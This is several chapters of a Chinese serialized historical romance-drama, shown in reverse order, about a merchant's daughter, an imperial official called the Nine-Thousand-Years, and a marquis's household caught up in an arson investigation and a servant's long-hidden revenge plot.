室内弥漫着一股浓浓的的血腥味。 江闻舟满眼的复杂,“太医,我夫人情况如何?” 太医是皇上派来的,出宫时皇上只说了一句,救活叶宜蓁。 都是人精,还有什么不懂的?不死就行。 “我用银针吊住她一口气,伤口也用了上好的药处理,前几日会有些凶险,但,熬过去就好了。” 江闻舟松了一口气,递上文房四宝,客客气气的说道,“请开方子。” 太医写下一张方子,指着上面的几味药材,“这需要二百年老山参和冰山雪精配药,你们府上可有?” 这两样都是极为珍贵的药材,皇上不可能给她出。 江闻舟神色一僵,“您把方子给我,这药我们自己去配。” “行。”太医将方子递了过去,“还有一件事……” 他顿了顿,似乎很为难,江闻舟的心一沉,“您说。” 太医斟酌语气,小心翼翼的说道,“大少夫人此次元气大伤,就算治好了也会留下后遗症,可能会不孕。” 他是太医,说话向来注意分寸,留有余地。 说是,可能会,其实,已经判定了不孕。 江闻舟深知这一点,脸色剧变,“怎么会这样?太医,请您一定要想想办法治好她,她很喜欢孩子的。” 他们还满怀憧憬的期待生下一个孩子,继承平西侯府。 太医一脸的遗憾,“我是凡人,不是神仙,抱歉。” “还有,她的左手废了,以后不能留重物,天气变化时会疼痛难忍。” 江闻舟的心情越发沉重,“就没法根治吗?您尽管用最好的药。” 太医摇头叹息,表示爱莫能助。 江闻舟亲自送太医出来,在院门口遇到平西侯。 “父亲。” “见过平西侯。” 平西侯面带笑容的跟太医寒暄了几句,送他出门。 等转过头,平西侯面如沉水,一巴掌挥过去,“啪,混账东西,看看你惹出来的祸。” 江闻舟扑通一声,跪倒在地,“父亲,我错了,当初不该坚持兼祧两房,以至事态失控。可事已至此,总要想办法解决。” 平西侯盯着他看,“陈冬跟叶宜蓁的关系,你可知晓?” 江闻舟神色茫然,“蓁蓁心地善良,乐于帮人,很多人都得了她的恩惠,想来陈冬也是如此。而她随手帮了人,转头就忘了。” “陈冬蛰伏九年,却没有痛下杀手,我认为是念着蓁蓁的恩,不愿毁了她的栖身之地。” 平西侯气笑了,“所以,我们全家还要谢谢她?” 他满眼的失望,深吸一口气,“明日,我会上奏折,请立你弟弟闻云为世子。” “轰隆隆”,江闻舟如五雷轰顶,站都站不住,脸色刷的全白了。 不,不行!侯府是他的!必须是他的! “父亲,蓁蓁的身世……” 第66章 蛰伏多年,灭门 陈冬冷冷的瞪着平西侯,眼神中全是刻骨的仇恨。 “呸,狗东西。” 平西侯看的心惊肉跳,怎么回事?是冲着他来的? 他立马将府医扯过来,刀架在府医脖子上,“说,否则,你的养父就死定了。” 府医浑身发抖,面色苍白如纸,眼神无助而又绝望。 陈冬见状,不禁急叫,“别动我义父,他是无辜的,什么都不知道。” 平西侯冷笑一声,刀刃对着府医的脖子轻轻一递,就见血了。 陈冬脸色大变,“我可以说。但,你要对天发誓 ,不会伤害我养父。 ” 平西侯心里很不安,“我发誓,若违誓言,让我天打雷霹。” “快说。” 陈冬眼神变了,怨恨,愤怒,杀气腾腾的,“陈振,你还记得当年的浣溪村张家灭门惨案吗?” 平西侯如被惊雷砸中,脸上血色全失,“你说什么?再说一遍。” 浣溪村张家?厉无恙微微蹙眉,得让人去查一查。 陈冬满眼的痛恨,“你这个畜生,我姐救了受伤的你,你却为了掩饰行踪,杀了我全家,整整十一条人命啊。” 全场都炸开了锅,不是吧,平西侯还干过这样的事? 陈冬转头看向厉无恙,“九千岁,我本姓张,是西南平县浣溪村人,要状告平西侯陈振屠了我张家满门,连刚满月的孩子都不肯放过,求九千岁为我张家作主。” 厉无恙冷冷的问道,“陈振,可有此事?” 平西侯眼神微闪,随后理直气壮的说道,“并不是这样的,张父是敌国的探子,深埋在我国边境刺探情报,我是奉命前往缉拿,遭到张家极力反抗,我不得已才灭了张家。” 这话立马将局面扭转过来,敌国探子死不足惜。 陈冬歇斯底里的怒吼,“你胡说,我父亲不是探子。” 平西侯神色坦然,打量着对方,“我记得张家没有留下一个活口,你是从哪里冒出来的?” 陈冬冷笑一声,“我是张家幼子,当时跟家里怄气躲在树上,亲眼看着你杀了我全家,陈振,我苦学武功,蛰伏多年,就是为了报仇。” 云筝看了半响,凉凉的来了一句,“武功这么高强,蛰伏了九年,却一个陈家人都没有干掉?” 这不合理嘛。 陈冬浑身戾气冲天,“我没法确保一击全中屠尽他满门,就不敢轻举妄动,本来江二成亲当晚是最好的时机,一锅端了。” 他忽然狠狠瞪着云筝,“可惜,被你毁了,你坏了我的全盘计划。” 明明可以全身而退,却被她破坏了! 云筝嘴角轻扬,似笑非笑,这算是解释了为何冲她下手?“说说,你是怎么打算的?” 陈冬咬牙切齿道,“我是管库房的,有足够的条件在酒里下药,到时喜宴一开,人多眼杂,不动声色的将人都药翻了。” 他愤怒的指控,“云筝,就因为你的胡闹,没有了喜宴,坏了我的计划,你说,我怎么能饶了你?” 云筝居高临下的看着他,咄咄逼人的质问,“关键时刻,恨之入骨的杀父仇人就在眼前,却没有杀,反而找上了我,可笑又可悲,我一个字都不信。” 陈冬瞳孔微缩,“因为你最弱,最有钱,大家都会选择保你。” “呵呵,分明是临死前替叶宜蓁除掉我这个对手,你的心思全被在场的人看透了。”云筝冷笑一声,扬声说道。 “王爷,叶宜蓁还差十一板子,早打晚打都是打,还是早打早了,早死早超生。” 果然,陈冬虽然极力掩饰,但,眼神变了,慌乱,紧张,不安。 云筝全看在眼里,别的都能装,唯独眼神无法掩饰,他慌了! 江闻舟不敢置信的看向云筝,这是人话吗?嫉妒心害死人了。 “王爷,蓁蓁只剩下一口气,求您饶了她吧,求您了。” 厉无恙定定的看着他,“你真的想救她?” 江闻舟拼命点头,“是。” 厉无恙薄唇微扬,吐出几个字,“用丹书铁券来换。” “不可能。”平西侯的反应极大,九千岁怎么盯上了丹书铁券?是他想要?还是皇上要? 平西侯暗暗心惊,“九千岁,丹书铁券是我平西侯府保命符,是断然不会轻易拿出来的。” 除非到了被灭族之时。 江闻舟连世子都不是,根本作不了主,但,他又无法眼睁睁的看着心爱的女人被打死。 “我也不知道丹书铁券放在哪里,九千岁,您暂缓几日,让我跟父亲好好商量一下。” 这是拖延时间,但,这么拙劣的手段怎么可能瞒过厉无恙的?“打。” 板子高高扬起,眼见就要重重挥下去,叶宜蓁就要惨死于此地,陈冬大声喝道,“住手。” 他深吸一口气,“九千岁,我用一个秘密换叶氏的安全,和您替我张家申冤。” 全场鸦雀无声,神色各异,说叶宜蓁跟此人没有关系,谁信? 平西侯父子的心情最为复杂。 厉无恙神色平静无波,“火是你放的?” 他仿佛早就料到了,陈冬苦笑一声,果然瞒不过九千岁的眼睛。 从厉无恙带着明镜司出现的那一刻,他就知道完蛋了。 “是,叶小姐对我有一饭之恩,我虽是莽夫,却懂滴水之恩当涌泉相报,不忍她年纪轻轻就送命。” 云筝忍不住想到上次的奶嬷嬷王氏,又是恩情! 厉无恙的眼睛微微眯起,隐隐有一丝危险,“你刚才说的张家灭门案是真,是假?” “千真万确,求您作主。” 厉无恙居高临下的盯了他半晌,陈冬仿若被孤鹰盯上,巨大的压力让他喘不过气来。 不知过了多久,厉无恙才淡淡的开口,“说吧。” 陈冬这才发现后背吓出一身冷汗,迟疑了一下,“九千岁,我只说给你一个人听。” 谷雨第一个站出来反对,“王爷,恐怕有诈。” 厉无恙挥了挥手,“无妨,带他过来。” 一个手脚被废,武功全失的人,有什么好怕的? 陈冬被带到厉无恙面前,声音压的很低。 “王爷……” 他一张口,厉无恙的脸色就变了,凝重而又危险。 云筝暗暗心惊,到底是什么样的惊天秘密,让泰山崩于前而色不变的九千岁露出这般神色? 第65章 他是神秘高手? 侯府分为两部分,一部分是二百家将和他们的家眷们,住在郊外的农庄,这是每一代平西侯的保命班底。 当然,养士是最烧钱的,要锻炼,要装备,要吃肉,花钱如流水。 另一部分是侯府的下人,共518人,其中男仆231人,全都叫来了。 明镜司拿着名册一一盘查,他们分成好几组,查的很快。 查身高,查鞋子,符合条件的嫌疑人共有九人,还需要进一步查。 谷雨盯着名单,用红笔勾出几人,“三人没到。” 大管家小心翼翼的解释道,“赵三和李四一早就请假,结伴出府了,陈冬吃坏了肚子,一直跑厕所,没法来。” 谷雨皱了皱眉头,“去把陈冬带来。” 陈冬很快就被拎过来了,对,像老鹰抓小鸡般拎。 他是个长相普通的男人,神色惶恐不安,一看就是胆小如鼠。 云筝却猛的坐直了身体,是他! 厉无恙看了过来,“怎么了?此人有问题?” “有。”云筝前世见过这个男人,跟在府医身边,安静的像个隐形人,但,看她的眼神充满了漠然,高高在上的漠然。 跟此时的胆小如鼠判若两人,呵呵,太会伪装了。 “陈冬,你跟府医是什么关系?” 陈冬双手捂着小腹,半蹲在地上,想拉却强忍的痛苦模样,身上还有一股茅坑的臭味。 他不敢抬头,小心翼翼的说道,“那是我养父。” 云筝挑了挑眉,难怪跟在府医身边。 而,府医为了叶宜蓁不惜隐瞒宫中,这就很有意思。 “他是哪个岗位?” 大管事诚惶诚恐回道,“是库房的管事,内向寡言,老实本份,做事很负责。” 谷雨已经开始做记录,“你什么时候随府医来到平西侯府的?” “九年前。” “你今年28,年纪不小了,怎么没娶妻?” 这话一出,陈冬就浑身发抖,额头冒汗,很是紧张。 府医赶紧跳出来解释,“这孩子小时候被继母虐待,所以害怕女人,挺可怜的。” 厉无恙眼中闪过一丝嘲讽,看了昏迷的叶宜蓁一眼,转头看向安姑姑,“三十大板,打了多少下?” 安姑姑战战兢兢的回道,“三板子。” 见九千岁沉默不语,安姑姑灵光一闪,懂了,“来人,行刑。” 宫中侍卫赶紧上前去拉叶宜蓁,江闻舟没想到九千岁这么残忍,连受伤昏迷的人都不肯放过。 “王爷,请您看在上天有好生之德,饶她一命吧。” 厉无恙听而不闻,神色冷漠至极。 一边是要继续行刑,一边是极力维护叶宜蓁,在双方扯扯之间,叶宜蓁幽幽的醒过来。 她脸色惨白,捂着包扎好的伤口,有气无力的说道,“王爷,求您饶了我吧,我知道错了,我再也不跟云筝抢夫君了,她想要,就给她。” 她眼泪滚落下来,楚楚可怜,凄美而又哀怨。 江闻舟被提醒了,像溺水者抓住最后一块浮木,眼巴巴的看向云筝。 “云筝,若你帮着求情,以后我们三人好好的过,她有的,你都有。” 云筝扬了扬眉,看向厉无恙,“王爷。” 厉无恙心中闪过一丝莫名的失望。 云筝举起最后一块如意糕,“这点心真好吃,下次能再帮我带一份吗?” 帮他们求情,这辈子是不可能的,下辈子也不可能。 厉无恙心中的失望不翼而飞,嘴角微勾,“行。” “怎么还站着?” “动手。”安姑姑一声令下,叶宜蓁被按在地上打板子,一下又一下,惨叫声响彻全场,把下人们都吓坏了。 江闻舟想上前救人,但被平西侯喝止,“你胆敢上前一步,我就跟你断绝父子关系。” 江闻舟脸色大变,迟疑了。 云筝嘴角微微勾起,所谓的情深似海,也不过如此。 对男人来说,权势和前程才是最重要的。 她看向一边的陈冬,依旧畏畏缩缩,头也不敢抬的模样,不禁在心里冷笑,装,继续装。 “王爷,叶宜蓁屡次犯事,知错不改,是不是该死?” 厉无恙深深的看了她一眼,又想搞事了?“嗯。” 云筝笑眯眯的问,“您说,三十大板,她能熬下来吗?” 厉无恙不动声色的看向陈冬,“不会,她身娇体弱,又受了伤,顶多二十就没命了。” 陈冬的身体一动不动,没有反应。 “十八,十九……”报数声如魔咒般响起,一声又一声,扣人心弦。 叶宜蓁被打的血肉模糊,渐渐不动了,脑袋歪到一边。 谷雨上前探了探鼻息,“主上,只剩一口气了,还打吗?” 贴身丫环扑了过来,不停的磕头,“别打了,真的会死人的,我们小姐只是一个弱女子,她只是犯了一个小错,罪不该死,求九千岁饶了她吧。” 厉无恙眼皮都没有眨一下,“继续打。” 就在此时,变故忽生,一道黑影手持利刃扑向云筝。 “小心。” 云筝看着寒光凛凛的利刃刺向自己,神色微变,又是她!她是软柿子吗? 早有准备的紫烟一把拽住云筝扑向九千岁,厉无恙四周的侍卫立马让开一条道,云筝稳稳的躲在他身边。 而谷雨和一众明镜司高手齐齐出手拦截黑影,你来我往,杀气腾腾的。 云筝摸摸胸口,心跳好快。 果然,陈冬有问题,这身手敏捷,武功高强,却在侯府库房默默蛰伏。 厉无恙目光如矩,“没想到平西侯府卧龙藏龙,还藏着这么一个武功高手。” 平西侯脸色铁青,目光盯着那个在空中跳跃的身影,身为侯府的主人,他居然不知道有这么一个高手。 “九千岁容禀,我真的不知情。” 厉无恙冷笑一声,“就是不知道,皇上信不信。” 平西侯后背升起丝丝寒意,皇上猜忌心有多重,他是最清楚的。 几个回合后,陈冬露出败相,卖了一个破绽转身就跑。 “他要跑,拦下!” 一张大网罩下来,精准的将陈冬网住,不管他怎么挣扎,都没用,越捆越紧。 陈冬失手被擒住,谷雨直接挑断他的手筋脚筋,一个神秘高手就这么废了武功。 陈冬躺在地上,大口大口的喘气,汗水将头发打湿,却极为硬气,硬是没有吭一声。 平西侯惊怒交加,大声质问,“陈冬,说,你到底是什么人?” 第64章 还有什么比之更虐的? 最后一句话,云筝特意压低了声音,只有厉无恙听到了。 而江闻舟只顾着照顾叶宜蓁,忙成一团,无心他顾。 平西侯只听到了前面的话,心情沉甸甸的,他心中也有所怀疑,是儿子为了帮叶宜蓁脱罪,才放了一把火。 可,就算如此,也得想办法帮儿子脱罪。 平西侯府再也经不起风浪。 云筝抿了抿略干的嘴唇,看了半天的戏,渴了。“王爷,喝茶吗?我很会泡茶的。” 厉无恙嘴角轻轻上扬,“喝。” 云筝让人取来茶几和茶具,她跪坐在茶几面前泡茶,举止如行云流水。 在这一片喧嚣中,她身上独有的宁静与从容,仿若自成一片天地,让人忍不住多看一眼。 依旧是老习惯,第一杯她先喝了两口,算是试毒。 等了一会儿,她才将第二杯送到厉无恙面前,“您尝尝。” 厉无恙深深的看了她一眼,接过来喝了一口,眉眼舒展,“不错。” 茶香四溢,心情一下子飞扬。 他吩咐下去,“把皇上赏的点心攒盒拿给锦云乡主。” 侍卫匆匆将攒盒拿过去,云筝打开一看,眼睛刷的亮了。 “糖蒸酥酪,如意糕,都是我喜欢的。” 一口茶,一口点心,别提有多惬意,云筝吃的满嘴喷香。“不愧是御厨做的,味道就是好。” 平西侯一直关注着九千岁和云筝的互动,越看越心惊,九千岁是出了名的冷酷无情,对任何人都不苟言笑,高高在上,无人能靠近他。 可,云筝居然能靠近他,这意味着什么? 到底是为什么?一半嫁妆的威力就这么大?王爷也缺钱? 不可能,皇上对他宠爱有加,当年出宫开府就给了三十万两银子,还赐了很多田产和皇庄,铺面等等。 不过,这世上谁不爱钱呢?就算贵为帝王,也爱! 他心思飞转,鼓起勇气上前,拱了拱手试探道,“王爷,下次拍卖会,臣可否也参加?” 厉无恙微微颌首,“可。” 平西侯脸上露出笑容,他觉得拍卖会才是关键,让九千岁和皇上对云筝另眼相看的关键。 再说了,他也想摸摸挣钱的门道,侯府真的快撑不下去了。 厉无恙忽然来了一句,“一张入场券一万两,先交钱。” 平西侯倒抽一口冷气,这分明是抢钱! 他确定上一场是没有入场券的,难道是故意为难他? 他小心翼翼的问,“您确定有人掏这个钱吗?” 厉无恙神色淡淡的,“平西侯,你在挣钱方面确实没有天赋,难怪这些年平西侯府江河日下,只是外表光鲜了。” 平西侯面色通红,又羞又窘,恨不得找个地洞钻进去。 厉无恙转过头,“云筝,你是整场拍卖会的筹划,你来说说。” 云筝微微一笑,“至今为止,已经有55张入场券被锁定,这仅仅是在京城经商的,还有全国各地赶来的商人还在路上,据我估计,人数应该在三百左右。” 平西侯倒抽一口冷气,就是说,三百万两入账? 他不懂,也不理解,那些有钱人脑子有病吧。 “这是谁想出来的点子?” 云筝指了指自己,一脸的骄傲,“我呀。” 平西侯的眼中全是贪婪之色,“你一下子挣了这么多银子,怎么花得完?不如,拿回来,我帮你保管。” 一想到这三百万就能让侯府摆脱没钱的困境,他就满心的欢喜,以后想怎么花都行。 云筝嘴角轻轻上扬,“不劳操心,一半上交国库,一半给九千岁的,我一文不留。” 这才是皇上不动她的真正原因。 她随意一个点子就能挣这么多钱,谁舍得动财神娘娘? 皇上贵为一国之主,富有四海,但,国库空虚,私库同样不容乐观,这种时候尤其需要一个经商奇才。 平西侯恍然大悟,难怪九千岁破天荒的为一个女子撑腰,全是为了利益。 谁要是送这么多银子给他,他也会护着。 可,明明这散财龙女是自家的,他却一文钱都捞不到。 明明,只要她愿意,就能让侯府的库房填满银子,让侯府从此富裕起来,吃香喝辣的,锦衣玉食,随心所欲的花钱。 可,这一切,全毁了。 好气! 唾手可得,却失之交臂,只能眼睁睁的看着别人挣的盆满钵满。 还有什么比之更虐的? 都怪那个不孝子,他非要折腾什么兼祧两房,硬生生的得罪了财神爷。 而,侯夫人心疼的直抽抽,败家女,不给婆家花,却送给别人,吃里扒外的玩意。 她咬碎了银牙,都怪叶宜蓁那个贱人,勾着男人不放,害惨了侯府。 这一刻,夫妻俩的想法殊途同归,都生出了嫌隙。 就在此时,谷雨匆匆走到九千岁面前,“主上,有发现。” 云筝眼睛一亮,立马凑过来倾听。 谷雨神色严肃,“我们勘查后发现,是桐油引起的火灾。” “是被人从外面扔进来的桐油火棍,点着了耳房的布料。” “在院根和墙头发现了几个脚印,脚印七寸五分,身长五尺三寸。足印足弓正常,应该是成年男子。” “根据墙头上脚印位置,到耳房有段距离,可以断定,此人臂力不小。” “此外,他对侯府的情况和梧桐院的布置很熟悉。” 随着他的话,平西侯的心提了起来,脸色越来越难看。 谷雨斩钉截铁的说道,“由此得出结论,是侯府内部作案,放火者是一名男子,身长五尺三寸,臂力不小。” 他飞快的讲述勘查结果,并进行精准分析。 云筝挑了挑眉,看来她猜的没错,就是不知道那是谁的人,叶宜蓁?还是江闻舟? 平西侯夫妻闻声色变,“这怎么可能?” 谷雨看了他们一眼,“侯爷,把府中所有男子都叫来,我们要一一盘查。” 平西侯闭了闭眼,强压住内心深处的不安。 他有种不好的预感。 “来人,召集府中所有男子前来,一个都不许漏下,违令者,家法处置!” 云筝下意识的看向昏迷不醒的叶宜蓁,不知是不是错觉,叶宜蓁的右手动了动…… 第63章 谁欺辱你,就是跟本王为敌 之前九千岁无意中帮了云筝,但,是为了公事,是为了自己的体面,是为了维护皇室的尊严。 而不是,为了云筝这个人。 对,就是这样的! 江闻舟再也忍不住,“王爷,我知道您是却不过情面,被她所谓的一半嫁妆架起来了,当然,不是说您为了这嫁妆,而是被她道德绑架,利用了。” 平西侯暗叫一声不好,说的好像是九千岁贪图这一半的嫁妆,九千岁心里能痛快? 江闻舟没有接收到父亲的信号,还在喋喋不休,“只是此女生性恶劣,拿着您的名号狐假虎威,损害您的名声。” “云筝只是一个低贱的商贾之女……” 每一句话都极尽贬低之能事。 话还没说完,厉无恙冷戾的目光扫过来,冷冷的打断道,“她是皇上钦封的锦云乡主,正三品,江闻舟,你几品?” 江闻舟瞳孔剧震,脸色刷的煞白,额头的冷汗渗出。 “我……”他是故意忘记这一点的! 厉无恙满眼的嘲讽,“你一个没品级的人,居然敢欺侮大齐国的乡主,是不把朝廷放在眼里?还是无视皇上的圣意?还是,对君王……心怀怨恨?” 犀利如刀,刀刀致命。 如一盆冰水从头浇下来,江闻舟打了个冷战,“我绝无此意。” 平西侯惊惧交加,满头大汗,“闻舟是一时糊涂,是我没有管教好。” 他恶狠狠的瞪着江闻舟,尽得罪人,还不如不长嘴呢,“混账东西,让你以下犯上,掌嘴。” 儿子糊涂啊,有些话只能意会,不能说出来。 这被抓住把柄,就麻烦了。 他胳膊狠狠挥下去,“啪啪。” 他用尽全力掌掴儿子,江闻舟的脸顿时肿了,火辣辣的疼。 但,他不敢躲,只能任由父亲打。 侯夫人很心疼,却不敢吭声,被亲爹打,总比明镜司那些家伙动手好,那些人没轻没重的,弄残了怎么办? 云筝看着,心里畅快至极,好,打的好! 厉无恙冷冷的看着,直到江闻舟被打成猪头,这才宽宏大量的挥了挥手,“行了,再有下次,国法处置。” 平西侯父子不约而同的松了一口气。 可惜,厉无恙还没完,神情依旧冷戾,“平西侯,本王说过的话,你当是耳旁风?” 平西侯打了个冷战,赔笑道,“我们府里出了一个乡主,是府里的大喜事,也是平西侯府的荣耀,我是供着她,但小儿女争风吃醋,我不好管的。” 他倒是推的一干二净,厉无恙冷哼一声,“乡主,本王送你的玉玦呢?” 云筝拿起玉玦扬了扬,“喏。” 厉无恙仔细打量了她几眼,“你是本王罩的人,谁欺辱你,就是跟本王为敌。” 这是他正式在公众场合表态,云筝背后站着他,谁动她之前,先掂量一下后果。 这话一出,全场鸦雀无声,神色各异。 平西侯诸人心里百味杂陈。 叶宜蓁嫉妒的发疯,云筝凭什么这么好运? 她主动凑过去,巧笑嫣然,“九千岁,您是不是弄错了,云筝张扬跋扈,对夫家不恭敬,品行有瑕,您没必要为了那一半嫁妆护着她,得不偿失……” 厉无恙眼神一冷,“你算什么东西,胆敢跟本王这般说话?看来,上次给的教训不够。” 他举起小巧的弓弩,对准叶宜蓁射过去,正中她的肩膀,顿时绽出一道血花。 动作之快,下手之狠,让人猝不及防。 叶宜蓁瞬间倒地,右手按住流血的肩膀,发出一声凄厉的惨叫。 几道身影飞扑过去,将叶宜蓁团团围住。 江闻舟一把抱起她,看着肩膀被洞穿的心上人,心疼坏了。 两个贴身侍女眼泪哗啦啦的流,“小姐,您不会有事的。” 府医查看伤势后,神色凝重极了,“肩胛骨碎了,这左手……废了。” 江闻舟眼前一黑,不敢相信自己的耳朵,“你一定要保住她的手,她可是才女,擅丹青,擅抚琴。” 叶宜蓁一口血吐出来,花容惨白,晕了过去。 另一边,厉无恙神色淡漠的收起弓弩,“彻查起火原因。” 他一声令下,无人敢阻拦,都吓坏了,好吗? 明镜司办案是专业的,飞快的散开查看现场。 安姑姑几人诚惶诚恐的上前行礼,厉无恙没有叫起,就任由他们半蹲着。 他神色严厉,“你们都是宫里出来的人精,不愿意轻易得罪人,看穿不拆穿,但,像这种糊弄帝后,无视君王权威的把戏,你们怎么敢轻易放过?” 安姑姑几人汗流浃背,“奴婢错了,回去就领罚。” 是,他们就是故意装糊涂,行中庸之道。 云筝看了一出好戏,心满意足的从墙上爬下来,动作还挺利落。 她还特别欠揍的凑到叶宜蓁身边,看着那血窟窿啧啧称奇。 “好惨啊,一定很痛吧。” “这手废了?反正也不干活,衣来伸手,饭来张口,废就废了呗。” 她说着风凉话,比起她前世所受的磨难,这又算得了什么。 江闻舟只觉得刺耳极了,“云筝,你就没有一点同情心吗?” 云筝嫌弃的看着他的猪头脸,好丑,“有啊,就是不施舍给你们。” 她小手一背,昂首挺胸,走出了六亲不认的脚步,别提有多拽了。 她活灵活现的走到厉无恙面前,把厉无恙差点逗笑了,极力压下上扬的嘴角。 “王爷,我闻到桐油味了,绝不会错。” 厉无恙知道有种人嗅觉特别灵敏,有的人对特定的味道特别敏感,“你觉得,是谁干的?” 云筝认真想了想,“按照谁是既得利益者,谁就是主谋的定论,放火有两种可能,一是,想放火烧死我和宫中来人,江闻舟和叶宜蓁跟我结怨,宫中来人是来管教叶宜蓁,所以,这两人有很大的嫌疑。” 厉无恙微微颌首,“二呢?” 云筝认真的分析,“二,是帮叶宜蓁摆脱惩罚,那么,江闻舟有这个可能,叶宜蓁……或许另有底牌。” 两人相视一眼,交换了一个眼神,意味深长…… 第62章 谁是红颜祸水? 平西侯惊疑不定,儿子对叶氏的痴心,他都看在眼里,莫非真犯了糊涂? 如果是这样,这个继承人必须要更换了,而不是想办法让皇上改变主意。 将儿女私情置于家族利益之上的人,不配成为家族的话事人。 而,侯夫人恶狠狠的瞪着叶宜蓁,难掩厌恶之色。 红颜祸水,害人精。 关键时刻,江闻舟只顾着救叶宜蓁,而任由她这个亲娘置身火场,这让她心寒了。 她生的这个儿子算是为了叶宜蓁生的,白养了。 不行,她得抢回来! 江闻舟脸色剧变,“我没有,不是我放的!” 叶宜蓁小脸惨白,可怜兮兮的,“云筝,你恨我没关系,但请放过夫君吧,他若有事,我们俩都不会有好下场。” 按理说,她不该叫夫君的,但,当着云筝的面一口一声夫君,尽显亲密无间。 到了这种时候,还在耍心眼。 云筝眉眼含煞,想刺激她吗?怎么都觉得她耍尽手段是为争宠? 在他们看来,女子一生唯一的追求就是相夫教子,没有别的价值。 商贾之女能嫁进侯府,是上嫁,是梦寐以求的荣耀,没人舍得放弃这一份荣耀。 可是,她做梦都想离开这个狼窝。 “安姑姑,你说巧不巧,不早不晚,偏偏在这个时候?” 安姑姑沉默了,确实很可疑,但,为了让叶宜蓁免于责罚,而放火烧了自家的屋子,酿成火灾,不顾自家人的安危,可能吗? 德公公坐在地上,抱着烧焦的头发,满眼的愤怒,“查,彻查,去请明镜司的人过来查案。” 这话一出,侯府诸人吓了一大跳,不行,不能让他们来。 本来皇上就对平西侯府很不满,再查出什么,就等着倒霉吧。 尤其是叶宜蓁,额头渗出密密麻麻的汗珠。 江闻舟也急的不行,极力阻止,“不不,不要,这就是巧合,没必要兴师动众。” 德公公特别宝贝自己一头黑发,如今,毁成这样,脚也崴了,钻心的疼,他心中能不恨吗? 必须有人为此负责! “快去,找谷雨大人。” 平西侯见状不妙,赶紧阻止,“公公别急,此等小事,没必要将明镜司扯进来,我来查,我一定给你们一个交待。” 德公公不想理会,但平西侯扯下腰间的玉佩递过去,满脸讨好。 德公公惦了惦玉佩,这成色不错,能值几百两,几人分一分还凑合吧。 “行,你来查,别想敷衍,宫中还等着我们的回复呢。” 平西侯表示一定严查。 云筝坐在墙头上,居高临下,诸人的情形尽收于眼底,心中隐隐有了猜测。 让平西侯自查,这跟作弊有什么区别? 果然不出她所料,平西侯办事的效率很高,很快就揪出一个小丫环。 丫环战战兢兢,惊恐万分,“奴婢是梧桐院的打杂丫环,刚才用小红炉煮茶时打瞌睡,不小心烧着了。” 梧桐院没有小厨房,喝茶烧热水,都是靠一个小火炉解决。 她拼命磕头,把脑袋都磕破了,“奴婢该死,请主子责罚。” 平西侯看向宫中来人,“几位,你们说怎么罚?” “这……”安姑姑迟疑了,她这种出身是不屑跟一个小丫环计较的。 她看向德公公,德公公把玩着玉佩,不置可否。 她这才说道,“这是你们的家务事,我们不方便参与,自己处置吧。” 平西侯嘴角微向上扬,似乎早就料到了。 叶宜蓁高悬的心落到实处,暗暗松了一口气。 眼见事情就这么轻松过去了,谁知,清脆的声音又一次响起,“不对。” 又是云筝。 叶宜蓁抬头,狠狠瞪着那个高坐在墙头的红衣女子。 如果眼神能化为利箭,恐怕早就将对方扎成血窟窿。 她怎么这么折腾?实在太讨厌了! 安姑姑心里一紧,“哪里不对?” 云筝嗅了嗅鼻子,“是桐油的味道,为了防止走火,桐油向来是严格管控,内院断然不可能有桐油的,所以只有一种可能,有人特意带进来,这是蓄意放火。” 江闻舟愤怒万分,“哪有什么桐油味,一派胡言,你这是造谣生事。” 他确实没闻到了,但不管如何,这件事都不能闹大。 “云筝,别以为有九千岁撑腰就耀武扬威,九千岁的客气话,你不会当真了吧?” 他是打从心眼里瞧不起云筝,大声怒斥,“在九千岁眼里,你算是哪个牌子上的人物?一个低贱的商贾之女,给他端洗脚水都不配……“ 外面传来策马奔腾的声音,只见一群黑衣男子簇拥着一辆华丽的马车在内院横冲直撞,姿态嚣张至极。 他们全副武装,手持武器,身姿矫健,迎面而来的压迫感让人喘不过气来。 说曹操,曹操就到。 平西侯瞳孔剧震,这是九千岁的专座。 他急急的迎过去,“见过九千岁。” 马车停了下来,车窗拉开,露出一张冷漠俊逸的面容,正是九千岁,厉无恙。 他清冷的视线扫过平西侯,扫过狼狈的人群,最后落在那一抹红色。 她冲他直挥手,笑颜如花,明艳不可方物。 厉无恙紧绷的心稍缓,她好好的,没事! 谁都不知道当他得知平西侯府忽然走火那刻,他的心跳仿佛凝固了。 “锦云乡主,可有受伤?” 他没理任何人,只问候了云筝。 平西侯僵在当地,神色尴尬而又困惑。 而,江闻舟想到刚才的话,如被打了一巴掌,脸色难看到了极点。 “九千岁,您别理她,她就是一个兴风作浪……” 厉无恙看都没看他,只盯着墙头上的红衣女子。 “你下来,本王带了御医过来给你看看,若是受惊病倒了,还怎么主持五日后的拍卖大会?皇上还等着。” 云筝眼珠一转,不是说她狐假虎威吗?行,那就坐实了。 “王爷,他骂我,他欺负我,还……” 她噼里啪啦告状,语速极快,别人都插不上嘴,急的侯府诸人满头大汗。 家丑不可外扬,她怎么这样?一点都没有大局观。 谁来捂住她的嘴? 叶宜蓁的眼睛紧紧盯着厉无恙,这高不可攀的九千岁会当众为云筝出头吗? 不可能,她不信! 第61章 这誓有毒!谁教你这么发誓的? 江闻舟忽然来了一句,“云筝,你先帮我垫一下,我到时再还你。” 这话一出,宫中来人齐刷刷的看向他,天啊,怎么会有这么厚颜无耻的人? 先是骗婚折辱人家,后又抢她嫁妆,如今还想让云筝替他的心上人出罚金,这是吃定人家了,是吧? 说还钱,拿什么还? 难怪,人家要和离。 这一刻,大家都理解了云筝,她不是挑战伦理和游戏规则,而是被逼无奈啊。 云筝心中暗喜,闹吧,闹的越过分越好。 他们越过分,越显得她委屈,将来反杀时越有利。 有时,千万不要小看一些小人物的力量。 “没钱。” 江闻舟勃然大怒,“你能不能识大体,顾大局?现在不是你任性耍小脾气的时候,赶紧拿钱出来。” 云筝轻轻叹了一口气,“嫁妆都拍卖了,一文钱都没有,你逼死我也没用。” 江闻舟冷哼道,“云家是暴发户,有的是钱。” 既看不起人家,又想要人家的钱,真是无语。 云筝气笑了,“你是说,你让我回娘家跟父母要钱,给你的小心肝交罚金?” 他就是这个意思,但,从云筝嘴里说出来,怎么这么贱呢? 贱到厚脸皮的江闻舟心里一堵,“你家不差这点钱。” “对,不差,但,凭什么呢?凭你百般折辱我?” 江闻舟理直气壮的说道,“你又没有吃亏。” 云筝上前两步,胳膊重重挥下去,“贱人,你们两个贱人。” 她忽然发难,江闻舟被打了个正着,整个人都懵了。 别看她弱不惊风的样子,其实她的力气挺大,江闻舟的脸被打疼了,尖尖的指甲在他脸上划出一道血痕。 